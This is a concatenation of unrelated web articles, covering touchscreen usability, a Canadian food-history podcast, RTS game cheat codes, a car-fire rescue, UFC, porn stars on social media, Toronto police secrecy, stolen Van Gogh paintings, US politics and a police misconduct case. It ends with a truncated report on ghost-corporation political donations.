years, everybody will have such well-developed fine motor skills that they can easily and precisely interact with any touchscreen, without consciously thinking about it at all. On the other hand, mice have been around since the 60s, but if you’ve been to a few usability tests with a wide variety of participants, you’ve seen people struggle with lining up the mouse cursor to a link on a web page, or to a window’s close button.  It’s certainly easier to become proficient with a touchscreen than with a mouse, but as of right now, a lot of people still are not.
-Episode 36 Histories of Canadian Environmental Issues, Part 6 – Agri-Food Systems, I: 31 March 2013  [audio: http://niche-canada.org/files/sound/naturespast/natures-past36.mp3][01:20:20]  The history of Canadian food and agriculture is an enormous topic with both a global and deeply personal scope. All humans require food to live and agricultural products become food for our consumption, demonstrating the profound interrelatedness of food and agriculture. Beyond sheer survival, food serves social and cultural purposes for all people, from planting and harvesting, through preparation, and ultimately with consumption. Communities and families coalesce around these activities and have done so for all of human existence. Food is a source of pleasure and for many people is intricately linked with spirituality. Examining the environmental history of food and agriculture in Canada reveals the ways in which our complex relationships with nature and each other inform this most intimate aspect of our daily lives.  A primary element of agriculture is a relationship with the earth. In order to cultivate crops to harvest and consume, humans must manipulate the natural environment. Since the arrival of Europeans to North America, agriculture has largely involved a perceived human domination of the environment including physical manipulation (tilling, seeding, deforestation, filling wetlands), technological innovation (genetically modified crops, mechanized equipment, fertilizer, pesticide), and transportation of agricultural products (railways, highways, airports, canals and seaways). Euro-Canadian concepts of liberalism have also influenced the relationship between people and the planet, promoting private property ownership as one of its foundational elements of property, liberty, and equality. The ideal of the yeoman farmer, an entrepreneurial agricultural producer, is fundamental to the Canadian founding myth. In order to create Euro-Canadian farms on the landscape, however, indigenous peoples were displaced, intertwining human relationships with the land and also with other humans.  Food and agriculture require and inform our relationships with each other. In the process of colonialism, European-style agriculture was adopted by and foisted upon indigenous peoples through political mechanisms. Politics, food, and agriculture continue to be closely tied as demonstrated through food-based political movements, agricultural and food regulation and legislation, international trade policies, and even in Canada’s World War I conscription crisis. Migrations between provinces and immigration policy have been driven by agriculture, and current Canadian politics are focused in many ways on increasing the export of Canadian agricultural and food products. Regional and national dishes and crops inform Canadian identities. The power shift from producer to corporation in Canadian food systems is thought to be a factor in social inequity experienced by people across the globe.  Canadian agriculture and food are crucial components to discussions about health. The quantity of food available dictates both famine and obesity, as does the quality of food. As more is known about the health effects for humans of genetically modified foods, hormone-added foods, chemical fertilizers and pesticides, and food-borne infections such as Escherichia coli and bovine spongiform encephalopathy, we are changing how we interact with our food and its suppliers. Agricultural environmental practices also raise concerns about the health of the groundwater we drink and use for irrigation, as well as the air we breathe. Reviewing the history of agriculture and food in Canada helps us understand why we have the systems we do and how they came to be, as well as assess their efficacy for our contemporary needs and desires as humans always in need of nourishment.  To begin this look at agriculture and food in Canadian history, we look at the case study of chicken breeding in North America in the nineteenth and twentieth centuries. On this episode of the podcast, we spoke Margaret Derry about her new book Art and Science in Breeding: Creating Better Chickens.  Please be sure to take a moment to review this podcast on our iTunes page and to fill out a short listener survey here.  Visit the main page at http://niche-canada.org/naturespast  Suggested Readings:  Agriculture and Agri-Food Canada. “An Overview of the Canadian Agriculture and Agri-Food System, 2012”  Andrews, Geoff. The Slow Food Story: Politics and Pleasure. Montreal: McGill-Queen’s University Press, 2008.  Bradbury, Bettina. “Pigs, Cows, and Boarders: Non-Wage Forms of Survival Among Montreal Families, 1861-91,” Labour/Le Travail, 14 (Fall 1984), 9-46.  Carter, Sarah. Lost Harvests: Prairie Indian Reserve Farmers and Government Policy. Montreal: McGill-Queen’s University Press, 1993.  Derry, Margaret. Art and Science in Breeding: Creating Better Chickens. Toronto: University of Toronto Press, 2012.  Iacovetta, Franca, Valerie J. Korinek, and Marlene Epp. Edible Histories, Cultural Politics: Towards a Canadian Food History. Toronto: University of Toronto Press, 2012.  Mosby, Ian. “‘That Won Ton Soup Headache’: The Chinese Restaurant Syndrome, MSG and the Making of American Food, 1968-1980.” Social History of Medicine 22, No. 1 (April 2009): 133-151.  Murton, James. Creating a Modern Countryside: Liberalism and Land Resettlement in British Columbia. Vancouver: UBC Press, 2007.  Russell, Peter A. How Agriculture Made Canada: Farming in the Nineteenth Century. Montreal: McGill-Queen’s University Press, 2012.  Turner, Chris. “The Farms are not All Right” The Walrus, October 2011.  Wall, Ellen, Barry Smit, and Johanna Wandel. Farming in a Changing Climate: Agricultural Adaptation in Canada. Vancouver: UBC Press, 2007.  Winson, Anthony. The Intimate Commodity: Food and the Development of the Agro-Industrial Complex in Canada. Toronto: University of Toronto Press, 1994.  Works Cited  Music Credits
-power overwhelming  Those two words won me many single player games as a kid playing Starcraft. By typing them in my units would become invincible, slaughtering my enemies with a single shot or slash. I actually was unable to beat the campaign of Starcraft and it’s sequel without this code until I went back to the game a decade later. These words are now a popular meme among both Blizzard games as well as the real time strategy community as a whole. Today I want to touch on a lighter subject, and one less indepth, that of cheat codes in real time strategy games.  I grew up playing real time strategy games, mostly Blizzard, Ensemble and Westwood games and while I loved the genre I was obviously not very good as a kid. I loved playing the campaigns most of all though, but struggled to beat many of them. One day my friend showed me he had bought the strategy guide (another topic worth reminiscing about) for the game we both had recently bought, Starcraft. In it there were tons of great strategies but we quickly discovered a section with cheat codes, and our single player experience was never the same. I would cheat my way through levels I found boring to get to the ones I wanted to play or just to get to the story aspects. It completely changed my enjoyment of the game because if I got frustrated, as children do, I wouldn’t have to get mad, I could just cheat through a hard part and turn it off when I felt safe. I could relax and have fun again.  I played a number of other games around that period as well, namely Warcraft 2: Orcs and Humans as well as Age of Empires 1 and 2. I quickly discovered my favorite site during the early days of the internet, Cheat Code Central. From there I learned other iconic codes that I would continue to use many times. In Starcraft I used black sheep wall to reveal the map and show me the money to start rolling in minerals. While in Warcarft 2 I memorized unite the clans to speed through levels with instant wins. Blizzard had some amazing and iconic ones but Age of Empires was even more unique. They had your run of the mill “win now” and “more resources” cheats. One of my favorites was gaia/natural wonders (For AoE and AoE2 respectively) which allowed you to control the neutral animals on the map, pretty useless but was fun as a kid. Nothing topped the fact in both games you could get a car that launched rockets by using bigdaddy and how do you turn this on. These type of meta or 4th wall breaking cheats were some of my favorite because they allowed me to break the fantasy of the game I was in but not lose the fun. Even the first Red Alert game got in on the action with a bit trickier method but some fun options like turning resources into civilians.  Now cheat codes haven’t gone away, Blizzard has held faithfully to putting them in each game as did Ensemble in Age of Empires 3 but sadly many games are moving away from it. Grey Goo was one game I was hoping would including them since it’s such a throw back to the classic real time strategy and has a solid campaign but no luck. Many real time strategy games also are having shortened or no campaign at all now. Company of Heroes and World in Conflict did include codes but they were mostly for camera control but both did have at least one fun code. While I don’t have the greatest love for the Supreme Commander series I do appreciate some of their creative cheats. From altering the gravity to altering the game speed, they had some interesting options.  Parts of this might be tied to Steam being such a powerful distribution platform and the mutual exclusiveness of cheats and achievements. Another is with games becoming more multiplayer-centric cheat codes obviously don’t fit into a competitive online game. Lastly I think cheat codes in general are being phased out of games of all genres and platforms. With mods being so powerful on computers it’s of little incentive for developers to do this when their users will just mod the game for them. Console hack devices like GameShark don’t exist anymore and codes for consoles are gone the same way outside of the occasional Konami code in some games.  While it may be a bit nostalgic and childish, I know that I miss cheat codes and I teach my kids the wonders of real time strategy games I hope I won’t have to raise them on games that may be too hard for them at the time but that they will have a way to not quit like I wanted to before I found cheat codes.  So how about you, did you ever play with cheats or were you a purest? If you did what were some of your favorites?
-Dramatic cellphone video captured a group of good Samaritans forming a human chain to rescue a driver from a burning SUV in Florida.  Witnesses told CBS affiliate WKMG that a red Jeep Cherokee rear-ended another car and drove into an embankment on Sunday in Palm Bay.  Witness Tom Sais and a group of others got to the vehicle as it was burning.  “Start climbing on through and there he was up in the air, hanging still strapped into his seat belt, hanging sideways,” Sais told the station.  Shortly after police arrived on scene with fire extinguishers, the driver was pulled out of the car. The group then formed a human chain to get the driver to the top of the embankment.  “Grabbed onto his belt, kind of pushing him, kind of hanging onto him, dragging this guy with whatever we had and made it up to the top,” Sais said.  Sais told WKMG that Palm Bay police had to Taser the driver, who was resisting help. The man was hospitalized with minor injuries.  Shannon Perez captured the video on her cellphone.  “I think it’s good that the police get, you know, some coverage of how they are heroic and they save lives, and I think that’s amazing,” Perez told WKMG.
-UFC welterweight champion Georges St-Pierre absolutely, unequivocally, 100 percent will make his return from a knee injury on November 17, when he meets interim champion Carlos Condit in the main event of UFC 154 in Montreal.  At least as of now.  Asked about St-Pierre's status during Thursday's UFC 149 press conference in Calgary, UFC president Dana White said that the champ's return is on track.  "Yup, as far as I know, right here, right now, he's gonna fight, yes," said White. "Unless any complications happen, he's good to go."  At four years and three months, St-Pierre is the second-longest-reigning champion in UFC history, behind current middleweight champion Anderson Silva. He's won nine consecutive fights, but has been out of competition since April 30, 2011, when he defeated Jake Shields at Toronto's Rogers Centre in the main event of UFC 129.  Knee woes first kept St-Pierre out of a UFC 137 bout with Condit; then a UFC 143 matchup against Nick Diaz. St-Pierre underewent surgery on his right ACL and Condit instead defeated Diaz for the interim welterweight title.  On June 27, St-Pierre tweeted "I'm back in Montreal and full-time training! Already tried a few kicks - right knee is super strong," indicating that he's back on track for the Condit bout.
-In the olden days of pornography, the lives of the performers were mostly limited to what we saw acted out on film.  Of course, rabid fans knew who Linda Lovelace was hooking up with offscreen and whether Jenna Jameson actually dated women in real life; but on the whole, porn stars existed as larger-than-life projections of what their audiences wanted them to be.  They played to the fantasies of millions, then disappeared back into their private lives. Under the guise of their erotic fake names and strategically-tailored public personas, they could expose every inch of themselves, yet still remain completely unknowable as human beings.  That is, until social media came along and changed everything.  While Facebook continues to lock out porn stars (their "no nudity" policy extends to Instagram as well), Twitter has welomed them with open arms. Not only can these performers tweet nude photos and other NSFW material to their personal accounts, but they can also use Vine —Twitter's six-second video sharing app, the moving picture version of Instagram—to create mini-movies of themselves for the world to see.  However, not all of these Vines are as titillating or overtly sexual as one might think. In fact, many of them are downright mundane: driving in traffic, cooking dinner, spinning around in parking lots (fun fact: Lexi Belle and I have the same Ikea office chair ) and other activities that aren't unlike anything you, your sister or your best friend might capture on a given day.  This disarming display of normalcy is what makes these videos so remarkable. Porn stars are pulling back the curtain on their private lives and showing viewers that despite their "unique" career paths, they're really just like us.  For example, porn actress and activist Stoya wrote a wonderful piece for Vice a couple of weeks ago that defends this cultural shift, saying that social media outlets like Twitter, Tumblr and Vine have been enormously helpful in allowing viewers to see porn stars as more than just sexual objects:  "Porn stars can definitely be quirky and are probably more sexually liberated than the average adult, but we aren't so far removed from humanity that we're above concerns like bills and laundry," Stoya writes, "To pretend that we are underestimates the intelligence of people who are interested in the lives of porn stars or what goes on behind the scenes of the adult film industry."  Dylan Ryan is another porn actress who defends the right of women to be sexually liberated in whichever ways feel right for them, even going as far as to say that the choice of an adult film career can be both "feminist" and "empowering."  "I am the agent of my own experience," Ryan told the Huffington Post , "One of the things that people often think about porn is that the women who are performing in it are distant from their bodies or they're there because they're getting paid or because they've been sexually abused or because they have a very unhealthy sense of self. And while those stereotypes are based in a lot of realities that exist...that's not the experience of every performer, and that's not been my experience."  Perhaps one can be a feminist and a porn star, a kinky exibitionist and a down-home girl who likes to Vine videos of her cat jumping onto a beanbag chair. All of us are full of contradictions, some of them surprising and often endearing: that's what makes us human.  Does seeing photos and videos of Stoya goofing off with her friends or Lexi shopping for Nutella at the grocery store strip away their fantasy, or make them even more interesting—and by extension, even more sexy and appealing—to porn fans and naysayers alike?  Leave me your take on the humanization of porn stars (and whether this has been a positive or negative side effect of our 2013 "insta-share" culture) in the comments section below.  Leah Pickett writes about popular culture for WBEZ. Follow her on Facebook, Twitter or Tumblr.
-This is police state stuff. Two men were shot and killed, in public, in February. Police know who did it, but they will not tell us. They say no charges should be laid in the case, but they will not tell us why, or give us the information they uncovered in their investigation. Police have security-camera video of the incident, but they will not show it to us.  Chief Mark Saunders has released little information about why police decided not to charge an off-duty security guard who fatally shot two people at a McDonald's in February, but held out faint hope that a coroner's inquest, somewhere down the road, might be called that would reveal more of the story. ( Andrew Francis Wallace / Toronto Star )  Two people are dead, and the Toronto Police Service’s response, after four months of investigation, boils down to: Nothing to see here. Trust us. Move along. But see, that’s not how this whole democracy thing works. That’s not how this whole justice system of ours works. That response from the police doesn’t work. Here’s what we know: the double shooting happened at a McDonald’s near Danforth and Coxwell, according to a police statement. “The two men became involved in a physical confrontation with an armed uniformed private security officer who was working at a nearby location. During the altercation, the private security officer discharged his firearm, fatally wounding both men. The private security officer was subsequently taken to hospital where he was treated for a firearm-related injury.”  Article Continued Below  And that’s about all we know. Police have interviewed witnesses and seen video evidence, and have concluded, after consulting with the Crown, that there is “no reasonable prospect of conviction,” and therefore no charges will be laid against the guard. They share that conclusion with us, but will not share any of the logic or evidence that leads them to that conclusion. “We haven’t charged anyone, so we wouldn’t discuss specifics,” police spokesman Mark Pugash told the Star, citing what he said was a department policy. As this case illustrates, it’s a policy in desperate need of revision. A longstanding principle of our justice system, often cited by the Supreme Court in its decisions, is that “justice must not only be done, it must be seen to be done.” There’s no way to see if justice is being done if the police keep all the evidence and information secret. Police Chief Mark Saunders says people who want information can just wait to see if the Ontario Coroner decides to hold an inquest. “If that does happen, then that will be the forum where you have the opportunity to hear all of the evidence and have an understanding of why things have concluded the way that they have,” he said, pointing to a possible and theoretical day years down the road.  That response doesn’t really work, either. Police shouldn’t pass the buck to the coroner to disclose basic information. We shouldn’t have to wait years to know whether we can trust what they are saying. Two people are dead, shot publicly in front of bystanders. No one is going to be held responsible for that. How can we, the people of Toronto, see the justice in that if no one will tell us what happened? Was it a clear-cut case of self-defence? I could imagine a hundred scenarios in which that’s possible, but we don’t know.  Article Continued Below  Pugash would not confirm or deny even that hypothesis in talking to my colleague Rachel Mendleson yesterday. Why was this security guard armed in a restaurant? We don’t know. What kind of work was he doing nearby? We don’t know. Was his life in danger? Was he being robbed? Was he defending other people? We don’t know. And the people who do know refuse to tell us. If we can’t see justice being done, and evaluate it for ourselves, we cannot be certain injustice isn’t being covered up. If we cannot see the results of the police investigation, we cannot trust its conclusions. Without an explanation for what happened, people are left to wildly speculate. There are those who think police are likely to be too sympathetic to another uniformed authority figure authorized to carry a gun in a case like this. Who is to say they are misguided, if we have no information? In 2010, when an independent prosecutor announced that no charges would be pursued against former Attorney-General Michael Bryant for the automotive death of bicycle courier Darcy Alan Sheppard, he outlined a detailed theory of the events of the night and the reasoning behind dropping the case. That decision remains controversial and often lamented, but at least the reasoning is there for all to see and analyze, in both the prosecutor’s statement and a written report. Even at that, many still feel a courtroom, where the stories and evidence from that investigation could be tested in front of a judge, would be the only place justice could have been done and unresolved questions been answered. That Bryant case looks like an absolute model of disclosure and transparency in comparison to this. It’s possible to imagine reasons why it might be reasonable to protect the identity of the armed guard in this situation. Although it is possible to imagine more reasons why his name should be public, even if he’s not guilty of anything. After all, without knowing his identity, how can we know if the police in charge of the investigation had any relationship to him that would compromise their objectivity? But even if protecting his privacy is reasonable, we deserve to know what happened in that McDonald’s. What the witnesses saw. What the cameras captured. We deserve to know, in part because this incident itself is a matter of significant public interest, in which the public needs to be able to judge the appropriateness of the response by the police and attorneys who represent us. But also because a policy in which not just the details but the most basic determinations of fact of police investigations are kept secret, and that secrecy is considered routine, is a dangerous policy, ripe for abuse. Investigators who share only their conclusions, while saying “trust us” when asked how they arrived at those conclusions, do not belong in a democracy. That’s police state stuff. And apparently, it’s standard operating procedure in Toronto. Edward Keenan writes on city issues ekeenan@thestar.ca . Follow: @thekeenanwire
-Jonathan Cahn released a video today warning viewers to prepare for God’s judgment for the nation’s growing “apostasy” to fall upon America in September in the form of economic collapse, natural disaster, or a terrorist attack.  Or maybe not … as Cahn was careful to hedge his bets by also asserting that possibly nothing at all will happen because God “is sovereign and He doesn’t have to work according to our schedule or understanding.” But even if nothing happens, Cahn said, America still deserves God’s judgment because of things like the legalization of gay marriage.  “I believe a great shaking is coming to America and the world,” he said. “We have watched the apostasy of America continue, it has continued and it accelerating. The harbingers have not stopped, they have continued to manifest, which are indications of a nation progressing to judgment.”  “How does judgment come?” Cahn continued. “It can come in the form of collapse economically, financially, the nation’s blessing, sustenance being removed. It can also come in the form of natural disaster, earthquakes, famines, other things, many ways in the natural realm. It can also come in the form of man-made disaster, as in terrorism, war, as in 9/11.”  And America is ripe for such judgment because of the recent Supreme Court ruling legalizing gay marriage nationwide, he said.  “This summer, America crossed the line,” he warned. “This was a tectonic event, a seismic change with ramifications not just about marriage but about the future of the culture, of society, of religious freedom, of persecution and, I believe, judgment.”
-Paintings stolen from Amsterdam museum have been recovered from house in stronghold of crime syndicate near Naples  Two Vincent van Gogh paintings that were stolen from a museum in Amsterdam more than a decade ago have been recovered by Italian law enforcement authorities in Naples after an investigation targeting a powerful organised crime syndicate involved in the cocaine trade.  The paintings, View of the Sea at Scheveningen, painted in 1882, and Congregation Leaving the Reformed Church in Nuenen, painted in 1884, were discovered after allegedly being hidden away in a house affiliated with an international drug trafficker based in Castellammare di Stabia, near Naples.  Officials hailed the discovery as a major victory in the fight against organised crime. It also provided an insight into the inner workings of the Italian underworld, where precious works of art are seen as valuable currency.  Facebook Twitter Pinterest Congregation Leaving the Reformed Church in Nuenen, 1884. Photograph: Getty Images  The authenticity of the paintings has already been confirmed by an expert from the Van Gogh museum in Amsterdam, from where they were stolen in 2002.  Axel Rüger, director of the Van Gogh museum, said he wasn’t sure when the paintings could be returned to the Netherlands, as they are likely to be needed as evidence in the ensuing trial.  “After so many years I didn’t dare to think they would ever return,” Rüger said. “We’ve waited 14 years for this moment and of course we’d like to take them straight home. We’ll need to exercise a bit of patience, but I am convinced we can count on the support of the Italian authorities.”  The frames have been removed and the seascape has a small patch of damage in the bottom left-hand corner, the museum said, but otherwise the paintings appeared to be in good condition.  The paintings were discovered thanks to a tipoff from Mario Cerrone, a suspected drug trafficker arrested in January who collaborated with the Camorra, a notorious Neapolitan crime syndicate made up of numerous clans.  The discovery was part of a broader investigation into the Camorra’s Amato-Pagano clan, which prosecutors said was one of the most dangerous and active gangs of drug traffickers operating in the region. Investigators came across the paintings in a building that they were searching after a judge last week ordered the seizure of the gang’s assets. They also seized a small plane.  “When we finally found them, we did not believe our eyes,” a local official told La Repubblica.  The FBI considered the 2002 heist one of the “top 10” art crimes, according to its website. The thieves entered the Van Gogh museum from the roof of the building, which allowed them to get past security and cameras undetected, even though their entry did trigger alarms. They had used a ladder to climb up to a window and then smashed  Two men, Octave Durham, an art thief who earned the nickname The Monkey for his ability to evade police, and his accomplice Henk Bieslijn, were eventually convicted of the theft in 2004 after police discovered their DNA at the scene of the crime. They were handed four year sentences, but authorities were never able to track down the stolen works.  View of the Sea at Scheveningen is one of Van Gogh’s early paintings and depicts the beach resort close to The Hague. It was the only work in the museum’s collection from Van Gogh’s two years in The Hague and one of just two Dutch seascapes the artist made.  Facebook Twitter Pinterest Detail from Vincent van Gogh’s View of the Sea at Scheveningen. Photograph: Getty Images  Congregation Leaving the Reformed Church in Nuenen is a smaller work that Van Gogh painted for his mother in 1884, and depicts a church in Brabant where his father Theodorus was attached as a preacher. After his father’s death in 1885 Van Gogh revised the painting, adding figures of women wearing black shawls used in mourning.  Dario Franceschini, the Italian culture minister, said the discovery was extraordinary and “confirmed the strength of the Italian system in the fight against the illicit trafficking of works of art”.  John Dickie, a historian and expert in organised crime in Italy, said the reason the country was known for its expertise in following the illicit trade of art was the extent to which that trade existed in the first place.  “Italy also has the best mafia police in the world, because it has the most powerful mafia networks,” he added.  Facebook Twitter Pinterest Axel Rüger (left), director of the Van Gogh museum in Amsterdam, and Naples prosecutor Giovanni Colangelo shake hands in front of the recovered Van Gogh painting Congregation Leaving the Reformed Church in Nuenen. Photograph: Ciro Fusco/EPA  The town of Castellammare di Stabia, about 19 miles south-east of Naples, where the paintings were found, has long been known as a Camorra stronghold. It was the home of Assunta Maresca, known as Pupetta, who was a former beauty queen, convicted murderer, and Camorra boss described as a trailblazer and suffragette in the syndicate.  Unlike the highly organised Sicilian mafia, the Camorra is an “archipelago of gangs”, Dickie said, with some branches being more sophisticated than others.  “It is easy to say the Camorra did it and then jump to the conclusion that the Camorra is moving into the art market,” Dickie said.  He said the discovery and the alleged involvement of the Camorra reflected the opportunistic nature of the Neapolitan syndicate. Its members spend a lot of time in prison and are part of a vast underworld network in which illegal goods are sold and traded.  “I don’t think we need to conclude that it’s the Camorra boss who is putting this art on his mantelpiece. A lot of times these people don’t have a lot of class [and] they wouldn’t necessarily be impressed by having this,” Dickie said.  Federico Varese, an expert in criminology from Oxford University, said it was unsurprising that the discovery exposed a link between Amsterdam and the Camorra, given the Dutch city’s reputation as a major drug hub. Cross-border investigations dating back to the 1980s had found the presence of the Camorra in Amsterdam.  “What I know for sure is that a lot of camorristi are in Amsterdam, not because they want to be rooted there or deal in racketeering of shops or that kind of thing, but because they are there to buy drugs. Amsterdam is a hub for the buying and selling of illegal goods,” Varese said.  The Italian prime minister, Matteo Renzi, informed his Dutch counterpart, Mark Rutte, about the police operation before the funeral in Jerusalem of the former Israeli leader Shimon Peres. Renzi also tweeted a message of thanks to Italian law enforcement, saying he was proud of their work.
-Wisconsin Gov. Scott Walker took the stage Saturday at CPAC, praising the assemblage for its support during the fraught Wisconsin recall fight, which Walker won, allowing him to stay in power. His speech was themed around the idea that the states are the laboratories of policy -- "Real reform does not happen in Washington, it happens in the statehouses throughout this country," he said -- and that he, in particular, was leading the way to end "government dependency."  If future GOP presidential runs depend on silver-tongues articulation of dorm-room "makers vs. takers" arguments, then Walker's future is pretty bright.  WALKER: This president and his allies measure success in government by how many people are dependent on the government ... We measure success in government by just the opposite, by how many people are no longer dependent upon the government. Not because we kicked them out to the street. Not because we threw them out to the curb.  To that end, Walker insisted on the "need" for "real entitlement reform," to move Americans "from government dependence to true independence," and told the crowd that his decision to opt against Medicare Medicaid expansion that would bring medical coverage to uninsured Wisconsinites was rooted in his desire to prevent more of this "dependence."  "In America," Walker said, in case his point wasn't clear enough, "people don't grow up dreaming of being dependent on the government. In America, people don't come to this country as immigrants because someday they want to become dependent on the government. In America, they live the American dream."  "Real reform," Walker insisted, "happens in the states." In Wisconsin's case, "reform" largely came in the form of controversially impoverishing working class Wisconsinites in public sector jobs, a cause for which Walker successfully stoked widespread enthusiasm across the Badger State. At CPAC, Walker cast this struggle as "standing with the taxpayers" against "special interests" and "corporate interests."  That's not, strictly speaking, true. Walker and the GOP-controlled state legislature have showered corporate interests with boodle, and Walker's been richly rewarded by corporate backers for his efforts. As Brian Beutler reported, much of Walker's budget shortfall was due to a self-engineered set of corporate giveaways.  Politico reported on Friday that Walker was "open to a presidential bid and pointedly declined to pledge to serve a full four-year term if he’s reelected next year."  [NOTE: This article has been corrected after "Medicare" was inadvertently used instead of the correct word "Medicaid." We regret the error.]
-A detective constable with responsibility for sexual offenders will be sentenced today after being found guilty of abusing his position to set up affairs with vulnerable women.  Married father-of-two Mark Fisher, 49, - nicknamed Fish The Flirt - preyed on a string of women who were either victims of crime or had drink or drug problems.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  An investigation by Cumbria Constabulary's professional standards department found he used police systems inappropriately to gain information about three women.  He also threatened the fairness of a future trial when he attempted to gain favour with another woman when he showed her a photograph of a person who had allegedly attacked her.  Fisher, of Cockermouth, also gave cash and alcohol to one woman who was living in a hostel. He also offered to pay her drug debts in return for sex.  Although the inquiry overseen by the Independent Police Complaints Commission (IPCC) found the relationships were consensual, it concluded that Fisher, who worked in the force's public protection unit, had still abused his position as a police officer between 2008 and 2010.  A jury at Carlisle Crown Court yesterday found him guilty of five counts of misconduct in a public office following a three-week trial. He was cleared of three similar counts.  IPCC commissioner Ms Naseem Malik said after the verdict: "Fisher totally abused his position of trust to target vulnerable women for his own sexual gratification.  "I must praise the bravery of the five women who have stood up in court to give evidence against him. I must also praise Cumbria Constabulary for conducting a rigorous investigation.  "Fisher used police records and the contacts he made totally inappropriately.  "He was a police officer who should have been helping these women by doing the job he was paid to do.  "Instead, he seemed to regard his job as something that gave him opportunities to forge relationships to meet his sexual needs.  "Today's verdict has finally put an end to Fisher's activities."  Cumbria's Deputy Chief Constable Stuart Hyde said: "We are sorry for the distress caused to Fisher's victims while he was a serving police officer.  "We acknowledge their bravery and thank them for bringing his misconduct to our attention so that we could take action.  "We are disappointed by Fisher's behaviour - he abused his position of trust and failed in his role to protect vulnerable members of the community.  "Police officers are not above the law and we expect our officers to conduct themselves lawfully and appropriately, inside work and out.  "By the very nature of their roles, police officers and staff have access to sensitive information, and we take our responsibility to protect that information seriously.  "This case highlights the consequences of abusing that trust and shows how robustly the Constabulary deals with breaches of data protection.  "Fisher's behaviour was not representative of Cumbria Constabulary and he can now contemplate his actions while he awaits sentence."  Fisher was remanded in custody and will be sentenced today.  SOURCE:PA  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-63nd Annual Meeting of the Louisiana Folklore Society  March 22-23, 2019  The Louisiana Folklore Society invites you to attend its annual meeting to be held March 22-23, 2019 in Houma, Louisiana, in partnership with Nicholls State University.  The conference will begin with a tour of local cultural points of interest on Friday afternoon, March 22nd (more information to be announced soon). Paper sessions and presentations will take place the morning of Saturday, March 23. The afternoon of the 23th will be a Summit on a Cultural Action Plan for the Bayou Region, featuring representatives from local community stakeholders and environmental and cultural professionals.  Local Accommodations  A block of rooms has been reserved at the Courtyard by Marriott, which is across the street from the Duhe Center at 142 Library Drive, Houma. Call 985-223-8996 to make a reservation or to book a room online, click here. A block of rooms has been reserved at a special price until March 8th, 2019.  Tour, afternoon, March 22 – Duhe Center  More information soon.  Presentations, 8 – noon, March 23 – Duhe Center  We welcome presentations on any aspect of Louisiana folklore, folklife, and traditional arts, as well as on folklore theory and practice. More information at:  Bayou Culture Conversation, March 23, afternoon, Duhe Center  An afternoon of discussion about our heritage, our culture, and how we cannot just survive but thrive.  For more information on the Louisiana Folklore Society, join or renew your membership, please visit www.louisianafolklore.org.
-The 2016 elections have seen a surge in contributions from “ghost corporations,” so-called because they are not functioning businesses or non-profits, and hence seem to exist solely to shield their owners’ identities.  Ghost corporations are a particularly dangerous and alarming new twist in campaign financing in the wake of the Supreme Court’s 2010 Citizens United decision. They make a mockery of one of the central claims of that decision: that “prompt disclosure” and “transparency” would allow U.S. democracy to survive the unlimited flood of money into elections from individuals, corporations and unions.  So exposing the real donors hiding behind ghost corporations is essential. And The Intercept has now determined the identity of the donor behind this cycle’s second-most generous ghost corporation, Children of Israel LLC. He is Saul Fox, a California private equity CEO.  Children of Israel LLC contributed $150,000 in 2015 to Pursuing America’s Greatness, a Super PAC supporting Mike Huckabee’s presidential run; $400,000 in 2016 to Stand for Truth, a Super PAC supporting Ted Cruz; and $334,000 to the Republican National Committee.  Fox’s motive in masking his identity is unknown. He did not respond to multiple requests for comment.  Fox’s funding of Children of Israel LLC can be pieced together via a close examination of corporate and FEC filings, specifically a twice-amended Republican National Committee year-end filing for 2015.  According to the Republican National Committee’s initial Jan. 31, 2016, filing with the FEC, Saul Fox personally gave the RNC the annual legal maximum of $334,000 on Dec. 10, 2015. (Congress recently crafted new rules that allow individuals to give $33,400 to national parties’ general accounts, and then $100,200 each to accounts for their headquarters, conventions and legal funds. There are therefore technically four separate donations.)  In that original filing, Fox’s address is listed as being on a street in Cupertino in Silicon Valley. This address is the same as the home address of Shaofen Gao — a realtor in Silicon Valley who, in filings with the state of California, is listed as the registered agent for Children of Israel LLC.  The RNC then amended that filing twice, most recently in May. The May filing has new information: it says for the first time that when the RNC received $334,000 on Dec. 10, 2015, the money came from Children of Israel. And the amended filing lists Fox, immediately after the Children of Israel entries — with the same transaction ID as the Children of Israel donations, with an “M” added at the end.  The “M” stands for “memo,” and signifies that the entry is not a separate donation but exists to provide additional information about the Children of Israel contribution. In this case, the entry’s additional information is that the contribution from Children of Israel is attributable in full to Saul Fox.  If limited liability companies like Children of Israel make political donations, and the LLC is treated as a partnership for tax purposes, federal regulations require the LLC to inform the recipients who the actual humans behind the company are. Then the recipients of the donations must disclose this in their filings with the Federal Election Commission. By May of this year, Fox and the RNC were doing that.  But Children of Israel either failed to do so with its contributions to Pursuing American’s Greatness and Stand for Truth, or the two Super PACs simply chose to ignore it. According to Brendan Fisher, associate counsel of the political money watchdog group Campaign Legal Center, Fox and/or Children of Israel therefore violated prohibitions on “straw donor” contributions made in someone else’s name. (The CLC filed a complaint with the FEC against Children of Israel in March before Fox’s identity became known.)  Pursuing America’s Greatness did not respond to questions. Stand for Truth’s treasurer stated that the Super PAC is “confident that its filings are accurate and comply with FEC regulations,” but would not say anything further because of “the complaint pending before the FEC.”  The RNC’s amended, legally compliant filing came after the Campaign Legal Center filed its Children of Israel complaint. After a similar Campaign Legal Center complaint in 2011 about several corporate donations to Restore Our Future, the main Super PAC supporting Mitt Romney, a former Bain Capital official revealed that he had funded one of them. The RNC did not respond to requests for comment.  This is not the first time Fox has been connected to donations whose true sources were obscured. During the 2012 campaign, a company called Mercury Trust gave $1 million to American Crossroads, a Super PAC co-founded by Karl Rove, and made a donation of $425,000 to Restore Our Future. Mercury Trust was later discovered to be affiliated with Fox Paine.  Fox is also a prolific, longtime GOP donor under his own name. He most recently gave $100,000 to Team Ryan, a joint fundraising committee set up by Speaker of the House Paul Ryan, R-Wis., and $25,000 to Donald Trump’s joint fundraising committee.  In addition to his Children of Israel contributions to their Super PACs, Fox personally gave $2,700 to Huckabee’s presidential campaign and $5,400 to Cruz’s.  Fox also gave $5,400 to Marco Rubio’s campaign, as well as — surprisingly — $5,400 to campaign-finance reformer Lawrence Lessig’s abortive presidential run.  The FEC took over four years to vote on whether to open an investigation into the similar Restore Our Future donations during the 2012 election cycle, and then deadlocked without taking any action. So imminent action at this point seems unlikely.  The donor or donors behind Freedom Frontier, the most generous ghost corporation, remain 